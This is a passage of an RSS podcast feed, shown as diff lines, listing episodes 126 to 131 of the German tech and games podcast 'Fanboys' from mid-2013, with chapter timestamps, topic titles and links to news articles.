+00:04:37 EFF startet Trolling Effects
+00:08:18 Obama vetot iPhone Import Verbot
+00:11:52 Bezos kauft die WaPo
+00:19:10 10000 Year Clock
+00:19:18 John Carmack jetzt bei Oculus
+00:26:12 Seriengenerde
+00:34:22 Dream of Pixels
+00:37:34 You don't know Jack auf der Ouya
+00:40:17 Mario & Luigi: Dream Team (3DS)
+00:46:39 Dom bei Insert Moin zu Rymdkapsel
+00:52:02 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:04:37</td><td><a href="http://www.heise.de/newsticker/meldung/US-Buergerrechtler-stellen-Patent-Trolle-an-den-Pranger-1929223.html" target="_blank">EFF startet Trolling Effects</td></tr><tr><td>00:08:18</td><td><a href="http://allthingsd.com/20130803/obama-vetoes-apple-product-ban/" target="_blank">Obama vetot iPhone Import Verbot</td></tr><tr><td>00:11:52</td><td><a href="http://www.theguardian.com/media/2013/aug/06/washington-post-jeff-bezos" target="_blank">Bezos kauft die WaPo</td></tr><tr><td>00:19:10</td><td><a href="http://longnow.org/clock/" target="_blank">10000 Year Clock</td></tr><tr><td>00:19:18</td><td><a href="http://www.heise.de/newsticker/meldung/John-Carmack-entwickelt-VR-Brillen-fuer-Oculus-1931503.html" target="_blank">John Carmack jetzt bei Oculus</td></tr><tr><td>00:26:12</td><td>Seriengenerde</td></tr><tr><td>00:34:22</td><td><a href="https://itunes.apple.com/us/app/dream-of-pixels/id543509184?mt=8" target="_blank">Dream of Pixels</td></tr><tr><td>00:37:34</td><td>You don't know Jack auf der Ouya</td></tr><tr><td>00:40:17</td><td><a href="http://www.wired.com/gamelife/2013/08/mario-luigi-dream-team/" target="_blank">Mario & Luigi: Dream Team (3DS)</td></tr><tr><td>00:46:39</td><td><a href="http://superlevel.de/cast/im810-rymdkapsel/" target="_blank">Dom bei Insert Moin zu Rymdkapsel</td></tr><tr><td>00:52:02</td><td><a href="http://www.youtube.com/watch?v=WaBV1TA4i7U" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:04:37" title="EFF startet Trolling Effects" href="http://www.heise.de/newsticker/meldung/US-Buergerrechtler-stellen-Patent-Trolle-an-den-Pranger-1929223.html" />
+ <sc:chapter start="00:08:18" title="Obama vetot iPhone Import Verbot" href="http://allthingsd.com/20130803/obama-vetoes-apple-product-ban/" />
+ <sc:chapter start="00:11:52" title="Bezos kauft die WaPo" href="http://www.theguardian.com/media/2013/aug/06/washington-post-jeff-bezos" />
+ <sc:chapter start="00:19:10" title="10000 Year Clock" href="http://longnow.org/clock/" />
+ <sc:chapter start="00:19:18" title="John Carmack jetzt bei Oculus" href="http://www.heise.de/newsticker/meldung/John-Carmack-entwickelt-VR-Brillen-fuer-Oculus-1931503.html" />
+ <sc:chapter start="00:26:12" title="Seriengenerde" />
+ <sc:chapter start="00:34:22" title="Dream of Pixels" href="https://itunes.apple.com/us/app/dream-of-pixels/id543509184?mt=8" />
+ <sc:chapter start="00:37:34" title="You don't know Jack auf der Ouya" />
+ <sc:chapter start="00:40:17" title="Mario &amp; Luigi: Dream Team (3DS)" href="http://www.wired.com/gamelife/2013/08/mario-luigi-dream-team/" />
+ <sc:chapter start="00:46:39" title="Dom bei Insert Moin zu Rymdkapsel" href="http://superlevel.de/cast/im810-rymdkapsel/" />
+ <sc:chapter start="00:52:02" title="Rausschmeisser" href="http://www.youtube.com/watch?v=WaBV1TA4i7U" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%23131&amp;user_id=map&amp;title=Fanboys%20Episode%20131&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#131:" />
+ </item>
+ <item>
+ <title>Episode #130 - Bumm Zack Return</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Bumm Zack Return</itunes:subtitle>
+ <enclosure url="http://fanboys.fm/episodes/FAN130.mp3" length="27873851" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN130</guid>
+ <pubDate>Thu, 01 Aug 2013 14:28:41 +0200</pubDate>
+ <itunes:duration>00:57:48</itunes:duration>
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:02:36 Nexus 7 hat GPS
+00:05:56 Chromecast
+00:08:26 iPhone 5C
+00:17:33 Bob Mansfield jetzt doch wieder raus, so halb
+00:21:03 FEZ 2 eingestellt
+00:28:27 Wii U tankt
+00:35:29 Microsoft Surface Pro
+00:43:18 Unprofessional
+00:44:49 freakshow.fm
+00:46:10 Accidental Tech Podcast
+00:47:39 Pan Man
+00:49:16 Optia
+00:55:13 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:02:36</td><td>Nexus 7 hat GPS</td></tr><tr><td>00:05:56</td><td>Chromecast</td></tr><tr><td>00:08:26</td><td><a href="http://www.macrumors.com/2013/07/28/photo-of-plastic-packaging-with-iphone-5c-name-surfaces/" target="_blank">iPhone 5C</td></tr><tr><td>00:17:33</td><td><a href="http://www.macrumors.com/2013/07/28/apple-senior-vice-president-bob-mansfield-removed-from-leadership-webpage/" target="_blank">Bob Mansfield jetzt doch wieder raus, so halb</td></tr><tr><td>00:21:03</td><td><a href="http://www.gamona.de/games/fez-2,spiel-eingestellt-phil-fish-will-sich-aus-spieleindustrie:news,2304523.html" target="_blank">FEZ 2 eingestellt</td></tr><tr><td>00:28:27</td><td><a href="http://kotaku.com/the-wii-u-sales-are-really-really-bad-973133897" target="_blank">Wii U tankt</td></tr><tr><td>00:35:29</td><td>Microsoft Surface Pro</td></tr><tr><td>00:43:18</td><td><a href="http://www.muleradio.net/unprofessional/" target="_blank">Unprofessional</td></tr><tr><td>00:44:49</td><td><a href="https://alpha.app.net/timpritlove/post/8243595" target="_blank">freakshow.fm</td></tr><tr><td>00:46:10</td><td><a href="http://atp.fm" target="_blank">Accidental Tech Podcast</td></tr><tr><td>00:47:39</td><td><a href="http://www.newgrounds.com/portal/view/622566" target="_blank">Pan Man</td></tr><tr><td>00:49:16</td><td><a href="https://itunes.apple.com/de/app/optia/id347996243?l=en&amp;mt=8" target="_blank">Optia</td></tr><tr><td>00:55:13</td><td><a href="https://soundcloud.com/kenobit/fire-walk-with-me" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:02:36" title="Nexus 7 hat GPS" />
+ <sc:chapter start="00:05:56" title="Chromecast" />
+ <sc:chapter start="00:08:26" title="iPhone 5C" href="http://www.macrumors.com/2013/07/28/photo-of-plastic-packaging-with-iphone-5c-name-surfaces/" />
+ <sc:chapter start="00:17:33" title="Bob Mansfield jetzt doch wieder raus, so halb" href="http://www.macrumors.com/2013/07/28/apple-senior-vice-president-bob-mansfield-removed-from-leadership-webpage/" />
+ <sc:chapter start="00:21:03" title="FEZ 2 eingestellt" href="http://www.gamona.de/games/fez-2,spiel-eingestellt-phil-fish-will-sich-aus-spieleindustrie:news,2304523.html" />
+ <sc:chapter start="00:28:27" title="Wii U tankt" href="http://kotaku.com/the-wii-u-sales-are-really-really-bad-973133897" />
+ <sc:chapter start="00:35:29" title="Microsoft Surface Pro" />
+ <sc:chapter start="00:43:18" title="Unprofessional" href="http://www.muleradio.net/unprofessional/" />
+ <sc:chapter start="00:44:49" title="freakshow.fm" href="https://alpha.app.net/timpritlove/post/8243595" />
+ <sc:chapter start="00:46:10" title="Accidental Tech Podcast" href="http://atp.fm" />
+ <sc:chapter start="00:47:39" title="Pan Man" href="http://www.newgrounds.com/portal/view/622566" />
+ <sc:chapter start="00:49:16" title="Optia" href="https://itunes.apple.com/de/app/optia/id347996243?l=en&amp;mt=8" />
+ <sc:chapter start="00:55:13" title="Rausschmeisser" href="https://soundcloud.com/kenobit/fire-walk-with-me" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%23130&amp;user_id=map&amp;title=Fanboys%20Episode%20130&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#130:" />
+ </item>
+ <item>
+ <title>Episode #129 - We&apos;ll be back soon</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>We'll be back soon</itunes:subtitle>
+ <enclosure url="http://fanboys.fm/episodes/FAN129.mp3" length="26693033" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN129</guid>
+ <pubDate>Fri, 26 Jul 2013 14:25:13 +0200</pubDate>
+ <itunes:duration>00:56:46</itunes:duration>
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:01:36 Apple Dev Center down
+00:15:39 Apple Aktivierungsserver kurz down
+00:16:56 Amazon Cloud Player jetzt mit CD Käufen
+00:20:13 Nexus 7 mit Retina
+00:23:24 Google Chromecast
+00:27:10 Google Play Games
+00:31:01 Ouya verdoppelt Kickstarter
+00:36:34 Microstoft & Indies
+00:41:17 Twitter faked 3 tweets
+00:45:16 terminal-notifier
+00:48:23 Dungeonism
+00:52:32 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:01:36</td><td><a href="http://www.macworld.com/article/2044865/apple-explains-extended-developer-portal-outage.html" target="_blank">Apple Dev Center down</td></tr><tr><td>00:15:39</td><td><a href="http://www.macrumors.com/2013/07/25/apples-iphone-activation-servers-experiencing-extended-outage/" target="_blank">Apple Aktivierungsserver kurz down</td></tr><tr><td>00:16:56</td><td>Amazon Cloud Player jetzt mit CD Käufen</td></tr><tr><td>00:20:13</td><td><a href="http://appleinsider.com/articles/13/07/24/google-refreshes-nexus-7-with-twice-ipad-minis-pixel-count-for-100-less" target="_blank">Nexus 7 mit Retina</td></tr><tr><td>00:23:24</td><td><a href="http://www.heise.de/newsticker/meldung/Google-Chromecast-Noch-eine-Streaming-Architektur-1923378.html" target="_blank">Google Chromecast</td></tr><tr><td>00:27:10</td><td><a href="http://developer.android.com/google/play-services/games.html" target="_blank">Google Play Games</td></tr><tr><td>00:31:01</td><td><a href="http://www.golem.de/news/exklusivspiele-ouya-verdoppelt-kickstarter-kampagnen-1307-100476.html" target="_blank">Ouya verdoppelt Kickstarter</td></tr><tr><td>00:36:34</td><td><a href="http://indiegames.com/2013/07/microsoft_game_devs_will_be_ab.html" target="_blank">Microstoft & Indies</td></tr><tr><td>00:41:17</td><td><a href="http://blog.sfgate.com/techchron/2013/07/23/twitter-fakes-real-users-tweets-to-promote-ad-platform/" target="_blank">Twitter faked 3 tweets</td></tr><tr><td>00:45:16</td><td><a href="https://github.com/alloy/terminal-notifier" target="_blank">terminal-notifier</td></tr><tr><td>00:48:23</td><td><a href="https://itunes.apple.com/us/app/dungeonism/id659907714?mt=8" target="_blank">Dungeonism</td></tr><tr><td>00:52:32</td><td><a href="http://youtu.be/s4Rjy5yW1gQ" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:01:36" title="Apple Dev Center down" href="http://www.macworld.com/article/2044865/apple-explains-extended-developer-portal-outage.html" />
+ <sc:chapter start="00:15:39" title="Apple Aktivierungsserver kurz down" href="http://www.macrumors.com/2013/07/25/apples-iphone-activation-servers-experiencing-extended-outage/" />
+ <sc:chapter start="00:16:56" title="Amazon Cloud Player jetzt mit CD Käufen" />
+ <sc:chapter start="00:20:13" title="Nexus 7 mit Retina" href="http://appleinsider.com/articles/13/07/24/google-refreshes-nexus-7-with-twice-ipad-minis-pixel-count-for-100-less" />
+ <sc:chapter start="00:23:24" title="Google Chromecast" href="http://www.heise.de/newsticker/meldung/Google-Chromecast-Noch-eine-Streaming-Architektur-1923378.html" />
+ <sc:chapter start="00:27:10" title="Google Play Games" href="http://developer.android.com/google/play-services/games.html" />
+ <sc:chapter start="00:31:01" title="Ouya verdoppelt Kickstarter" href="http://www.golem.de/news/exklusivspiele-ouya-verdoppelt-kickstarter-kampagnen-1307-100476.html" />
+ <sc:chapter start="00:36:34" title="Microstoft &amp; Indies" href="http://indiegames.com/2013/07/microsoft_game_devs_will_be_ab.html" />
+ <sc:chapter start="00:41:17" title="Twitter faked 3 tweets" href="http://blog.sfgate.com/techchron/2013/07/23/twitter-fakes-real-users-tweets-to-promote-ad-platform/" />
+ <sc:chapter start="00:45:16" title="terminal-notifier" href="https://github.com/alloy/terminal-notifier" />
+ <sc:chapter start="00:48:23" title="Dungeonism" href="https://itunes.apple.com/us/app/dungeonism/id659907714?mt=8" />
+ <sc:chapter start="00:52:32" title="Rausschmeisser" href="http://youtu.be/s4Rjy5yW1gQ" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%23129&amp;user_id=map&amp;title=Fanboys%20Episode%20129&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#129:" />
+ </item>
+ <item>
+ <title>Episode #128 - Nerdification Center</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Nerdification Center</itunes:subtitle>
+ <enclosure url="http://fanboys.fm/episodes/FAN128.mp3" length="32570139" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN128</guid>
+ <pubDate>Wed, 17 Jul 2013 17:43:21 +0200</pubDate>
+ <itunes:duration>01:08:12</itunes:duration>
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:06:41 Update Notification ausschalten
+00:08:29 Logic Pro X
+00:16:26 Wallpaper Ads stinken
+00:20:32 Fakten über Web-Apps und Javascript
+00:28:23 No Ammo For You (until next update)
+00:30:35 HBO vs. VLC (not really)
+00:35:20 WWDC Sessions kurzzeitig auf Youtube
+00:38:27 The SCUMM diary
+00:40:17 PS4 self-publishing
+00:44:05 Google maps app
+00:46:35 Magnetized ripoff auf XBLIG
+00:49:44 Stacking
+00:53:30 Reality
+00:55:18 Lego Harry Potter
+00:59:03 Bugshot
+01:02:18 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:06:41</td><td>Update Notification ausschalten</td></tr><tr><td>00:08:29</td><td><a href="http://www.apple.com/pr/library/2013/07/16Apple-Unveils-Logic-Pro-X.html" target="_blank">Logic Pro X</td></tr><tr><td>00:16:26</td><td>Wallpaper Ads stinken</td></tr><tr><td>00:20:32</td><td><a href="http://sealedabstract.com/rants/why-mobile-web-apps-are-slow/" target="_blank">Fakten über Web-Apps und Javascript</td></tr><tr><td>00:28:23</td><td><a href="http://www.looki.de/deus_ex_the_fall_suqare_enix_entfernt_jailbreak_kopierschutz_update_news_n97655.html" target="_blank">No Ammo For You (until next update)</td></tr><tr><td>00:30:35</td><td><a href="https://chillingeffects.org/dmca512c/notice.cgi?NoticeID=1046828" target="_blank">HBO vs. VLC (not really)</td></tr><tr><td>00:35:20</td><td><a href="http://www.cultofmac.com/235717/you-can-now-watch-all-the-wwdc-2013-session-videos-on-youtube/" target="_blank">WWDC Sessions kurzzeitig auf Youtube</td></tr><tr><td>00:38:27</td><td><a href="http://www.gamasutra.com/view/feature/196009/the_scumm_diary_stories_behind_.php?print=1" target="_blank">The SCUMM diary</td></tr><tr><td>00:40:17</td><td><a href="http://www.gamasutra.com/view/news/196253/When_selfpublishing_on_PlayStation_4_heres_what_to_expect.php" target="_blank">PS4 self-publishing</td></tr><tr><td>00:44:05</td><td><a href="http://www.macrumors.com/2013/07/16/redesigned-google-maps-app-with-ipad-support-and-explore-feature-hits-the-app-store/" target="_blank">Google maps app</td></tr><tr><td>00:46:35</td><td><a href="http://indiegames.com/2013/07/xblig_pick_you_may_be_drawn_to.html" target="_blank">Magnetized ripoff auf XBLIG</td></tr><tr><td>00:49:44</td><td><a href="https://itunes.apple.com/us/app/stacking/id635055340?mt=12" target="_blank">Stacking</td></tr><tr><td>00:53:30</td><td><a href="http://www.kongregate.com/games/ClairvoyanceDev/reality" target="_blank">Reality</td></tr><tr><td>00:55:18</td><td><a href="http://kre.is/QGjH" target="_blank">Lego Harry Potter</td></tr><tr><td>00:59:03</td><td><a href="https://itunes.apple.com/de/app/bugshot/id669858907?l=en&amp;mt=8" target="_blank">Bugshot</td></tr><tr><td>01:02:18</td><td><a href="http://www.youtube.com/watch?v=RRWp4B0qsW8" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:06:41" title="Update Notification ausschalten" />
+ <sc:chapter start="00:08:29" title="Logic Pro X" href="http://www.apple.com/pr/library/2013/07/16Apple-Unveils-Logic-Pro-X.html" />
+ <sc:chapter start="00:16:26" title="Wallpaper Ads stinken" />
+ <sc:chapter start="00:20:32" title="Fakten über Web-Apps und Javascript" href="http://sealedabstract.com/rants/why-mobile-web-apps-are-slow/" />
+ <sc:chapter start="00:28:23" title="No Ammo For You (until next update)" href="http://www.looki.de/deus_ex_the_fall_suqare_enix_entfernt_jailbreak_kopierschutz_update_news_n97655.html" />
+ <sc:chapter start="00:30:35" title="HBO vs. VLC (not really)" href="https://chillingeffects.org/dmca512c/notice.cgi?NoticeID=1046828" />
+ <sc:chapter start="00:35:20" title="WWDC Sessions kurzzeitig auf Youtube" href="http://www.cultofmac.com/235717/you-can-now-watch-all-the-wwdc-2013-session-videos-on-youtube/" />
+ <sc:chapter start="00:38:27" title="The SCUMM diary" href="http://www.gamasutra.com/view/feature/196009/the_scumm_diary_stories_behind_.php?print=1" />
+ <sc:chapter start="00:40:17" title="PS4 self-publishing" href="http://www.gamasutra.com/view/news/196253/When_selfpublishing_on_PlayStation_4_heres_what_to_expect.php" />
+ <sc:chapter start="00:44:05" title="Google maps app" href="http://www.macrumors.com/2013/07/16/redesigned-google-maps-app-with-ipad-support-and-explore-feature-hits-the-app-store/" />
+ <sc:chapter start="00:46:35" title="Magnetized ripoff auf XBLIG" href="http://indiegames.com/2013/07/xblig_pick_you_may_be_drawn_to.html" />
+ <sc:chapter start="00:49:44" title="Stacking" href="https://itunes.apple.com/us/app/stacking/id635055340?mt=12" />
+ <sc:chapter start="00:53:30" title="Reality" href="http://www.kongregate.com/games/ClairvoyanceDev/reality" />
+ <sc:chapter start="00:55:18" title="Lego Harry Potter" href="http://kre.is/QGjH" />
+ <sc:chapter start="00:59:03" title="Bugshot" href="https://itunes.apple.com/de/app/bugshot/id669858907?l=en&amp;mt=8" />
+ <sc:chapter start="01:02:18" title="Rausschmeisser" href="http://www.youtube.com/watch?v=RRWp4B0qsW8" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%23128&amp;user_id=map&amp;title=Fanboys%20Episode%20128&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#128:" />
+ </item>
+ <item>
+ <title>Episode #127 - Lindyhops</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Lindyhops</itunes:subtitle>
+ <enclosure url="http://fanboys.fm/episodes/FAN127.mp3" length="31374734" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN127</guid>
+ <pubDate>Thu, 11 Jul 2013 16:32:22 +0200</pubDate>
+ <itunes:duration>01:06:09</itunes:duration>
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:07:11 Nächster Google dienst down
+00:14:23 "App Store" Lawsuit vorbei
+00:15:47 Apple verliert eBook Rechtsstreit
+00:20:25 iOS 7: ein schritt zur Auflösungs-Unabhängigkeit?
+00:25:22 iOS 7: iPhone apps auf non retina iPads jetzt Retina
+00:29:45 App Store wird 5 Jahre
+00:37:03 Linden Lab kauft Desura
+00:39:18 Dropbox jetzt mit App Sync API
+00:41:26 Podcasts.app
+00:45:08 Filmfest München Games
+00:53:27 Guacamelee!
+00:58:03 Timecode
+01:03:37 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:07:11</td><td><a href="http://thenextweb.com/google/2013/07/10/google-is-retiring-its-latitude-location-sharing-service-on-august-9th/" target="_blank">Nächster Google dienst down</td></tr><tr><td>00:14:23</td><td><a href="http://www.reuters.com/article/2013/07/09/us-apple-amazon-appstore-lawsuit-idUSBRE9680TT20130709" target="_blank">"App Store" Lawsuit vorbei</td></tr><tr><td>00:15:47</td><td><a href="http://www.nytimes.com/2013/07/11/technology/judge-rules-against-apple-in-e-books-trial.html?pagewanted=all&amp;_r=0" target="_blank">Apple verliert eBook Rechtsstreit</td></tr><tr><td>00:20:25</td><td><a href="http://supraliminal.net/blog/2013/7/10/ios7-is-a-huge-step-towards-resolution-independence" target="_blank">iOS 7: ein schritt zur Auflösungs-Unabhängigkeit?</td></tr><tr><td>00:25:22</td><td><a href="http://www.iphoneblog.de/2013/07/10/retina-pflicht/" target="_blank">iOS 7: iPhone apps auf non retina iPads jetzt Retina</td></tr><tr><td>00:29:45</td><td><a href="http://readwrite.com/2013/07/10/apple-app-store-fifth-anniversary" target="_blank">App Store wird 5 Jahre</td></tr><tr><td>00:37:03</td><td><a href="http://indiegames.com/2013/07/linden_lab_acquires_distributi.html" target="_blank">Linden Lab kauft Desura</td></tr><tr><td>00:39:18</td><td><a href="http://www.tuaw.com/2013/07/10/dropbox-announces-icloud-like-data-sync-service-for-apps/" target="_blank">Dropbox jetzt mit App Sync API</td></tr><tr><td>00:41:26</td><td><a href="http://www.iphoneblog.de/2013/03/22/wie-phonix-aus-der-asche-apples-podcasts-lebt/" target="_blank">Podcasts.app</td></tr><tr><td>00:45:08</td><td>Filmfest München Games</td></tr><tr><td>00:53:27</td><td><a href="http://en.wikipedia.org/wiki/Guacamelee!" target="_blank">Guacamelee!</td></tr><tr><td>00:58:03</td><td><a href="http://www.molyjam.com/games/63" target="_blank">Timecode</td></tr><tr><td>01:03:37</td><td><a href="http://www.youtube.com/watch?v=G_xHueP7bQ0" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:07:11" title="Nächster Google dienst down" href="http://thenextweb.com/google/2013/07/10/google-is-retiring-its-latitude-location-sharing-service-on-august-9th/" />
+ <sc:chapter start="00:14:23" title="&quot;App Store&quot; Lawsuit vorbei" href="http://www.reuters.com/article/2013/07/09/us-apple-amazon-appstore-lawsuit-idUSBRE9680TT20130709" />
+ <sc:chapter start="00:15:47" title="Apple verliert eBook Rechtsstreit" href="http://www.nytimes.com/2013/07/11/technology/judge-rules-against-apple-in-e-books-trial.html?pagewanted=all&amp;_r=0" />
+ <sc:chapter start="00:20:25" title="iOS 7: ein schritt zur Auflösungs-Unabhängigkeit?" href="http://supraliminal.net/blog/2013/7/10/ios7-is-a-huge-step-towards-resolution-independence" />
+ <sc:chapter start="00:25:22" title="iOS 7: iPhone apps auf non retina iPads jetzt Retina" href="http://www.iphoneblog.de/2013/07/10/retina-pflicht/" />
+ <sc:chapter start="00:29:45" title="App Store wird 5 Jahre" href="http://readwrite.com/2013/07/10/apple-app-store-fifth-anniversary" />
+ <sc:chapter start="00:37:03" title="Linden Lab kauft Desura" href="http://indiegames.com/2013/07/linden_lab_acquires_distributi.html" />
+ <sc:chapter start="00:39:18" title="Dropbox jetzt mit App Sync API" href="http://www.tuaw.com/2013/07/10/dropbox-announces-icloud-like-data-sync-service-for-apps/" />
+ <sc:chapter start="00:41:26" title="Podcasts.app" href="http://www.iphoneblog.de/2013/03/22/wie-phonix-aus-der-asche-apples-podcasts-lebt/" />
+ <sc:chapter start="00:45:08" title="Filmfest München Games" />
+ <sc:chapter start="00:53:27" title="Guacamelee!" href="http://en.wikipedia.org/wiki/Guacamelee!" />
+ <sc:chapter start="00:58:03" title="Timecode" href="http://www.molyjam.com/games/63" />
+ <sc:chapter start="01:03:37" title="Rausschmeisser" href="http://www.youtube.com/watch?v=G_xHueP7bQ0" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%23127&amp;user_id=map&amp;title=Fanboys%20Episode%20127&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#127:" />
+ </item>
+ <item>
+ <title>Episode #126 - Doublefeine Butterbrezn</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Doublefeine Butterbrezn</itunes:subtitle>
+ <enclosure url="http://fanboys.fm/episodes/FAN126.mp3" length="30285784" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN126</guid>
+ <pubDate>Wed, 03 Jul 2013 17:52:28 +0200</pubDate>
+ <itunes:duration>01:02:57</itunes:duration>
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:02:58 Apple stellt Paul Deneve (wieder) an
+00:05:09 iWatch Spekulationen
+00:09:16 Plastik iPhones?
+00:13:08 Xbox Chef Don Mattrick verlässt Microsoft
+00:20:09 'Jobs' Trailer
+00:22:22 DoubleFine in Geldnöten
+00:35:12 Carcassonne Update
+00:37:44 Life's too short
+00:39:39 Dom hat mehr Xcom gespielt.
+00:42:27 Dom dachte Last of US ist mit Ellen Page.
+01:01:29 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:02:58</td><td><a href="http://allthingsd.com/20130702/why-did-apple-just-hire-a-fashion-industry-ceo/" target="_blank">Apple stellt Paul Deneve (wieder) an</td></tr><tr><td>00:05:09</td><td><a href="http://www.macrumors.com/2013/07/01/apples-iwatch-trademarking-spree-also-includes-taiwan-and-mexico/" target="_blank">iWatch Spekulationen</td></tr><tr><td>00:09:16</td><td><a href="http://www.macrumors.com/2013/07/02/high-resolution-renderings-of-apples-lower-cost-plastic-iphone/" target="_blank">Plastik iPhones?</td></tr><tr><td>00:13:08</td><td><a href="http://www.gamesindustry.biz/articles/2013-07-02-mattricks-departure-will-be-xbox-ones-pivot-point" target="_blank">Xbox Chef Don Mattrick verlässt Microsoft</td></tr><tr><td>00:20:09</td><td><a href="http://blogs.wsj.com/digits/2013/06/21/first-trailer-for-jobs-biopic-released/" target="_blank">'Jobs' Trailer</td></tr><tr><td>00:22:22</td><td><a href="http://gamasutra.com/view/news/195509/Double_Fine_splits_Broken_Age_in_half_to_fund_completion.php" target="_blank">DoubleFine in Geldnöten</td></tr><tr><td>00:35:12</td><td><a href="http://carcassonneapp.com" target="_blank">Carcassonne Update</td></tr><tr><td>00:37:44</td><td><a href="http://www.youtube.com/watch?v=_QwaBj4HaQ4" target="_blank">Life's too short</td></tr><tr><td>00:39:39</td><td><a href="https://itunes.apple.com/us/app/xcom-enemy-unknown/id639544885?mt=8" target="_blank">Dom hat mehr Xcom gespielt.</td></tr><tr><td>00:42:27</td><td><a href="http://en.wikipedia.org/wiki/The_Last_of_Us" target="_blank">Dom dachte Last of US ist mit Ellen Page.</td></tr><tr><td>01:01:29</td><td><a href="http://www.siliconvalleyhistorical.org/#!steve-jobs-film/c1x1c" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:02:58" title="Apple stellt Paul Deneve (wieder) an" href="http://allthingsd.com/20130702/why-did-apple-just-hire-a-fashion-industry-ceo/" />
+ <sc:chapter start="00:05:09" title="iWatch Spekulationen" href="http://www.macrumors.com/2013/07/01/apples-iwatch-trademarking-spree-also-includes-taiwan-and-mexico/" />
+ <sc:chapter start="00:09:16" title="Plastik iPhones?" href="http://www.macrumors.com/2013/07/02/high-resolution-renderings-of-apples-lower-cost-plastic-iphone/" />
+ <sc:chapter start="00:13:08" title="Xbox Chef Don Mattrick verlässt Microsoft" href="http://www.gamesindustry.biz/articles/2013-07-02-mattricks-departure-will-be-xbox-ones-pivot-point" />
+ <sc:chapter start="00:20:09" title="'Jobs' Trailer" href="http://blogs.wsj.com/digits/2013/06/21/first-trailer-for-jobs-biopic-released/" />
+ <sc:chapter start="00:22:22" title="DoubleFine in Geldnöten" href="http://gamasutra.com/view/news/195509/Double_Fine_splits_Broken_Age_in_half_to_fund_completion.php" />
+ <sc:chapter start="00:35:12" title="Carcassonne Update" href="http://carcassonneapp.com" />
+ <sc:chapter start="00:37:44" title="Life's too short" href="http://www.youtube.com/watch?v=_QwaBj4HaQ4" />
+ <sc:chapter start="00:39:39" title="Dom hat mehr Xcom gespielt." href="https://itunes.apple.com/us/app/xcom-enemy-unknown/id639544885?mt=8" />
+ <sc:chapter start="00:42:27" title="Dom dachte Last of US ist mit Ellen Page." href="http://en.wikipedia.org/wiki/The_Last_of_Us" />
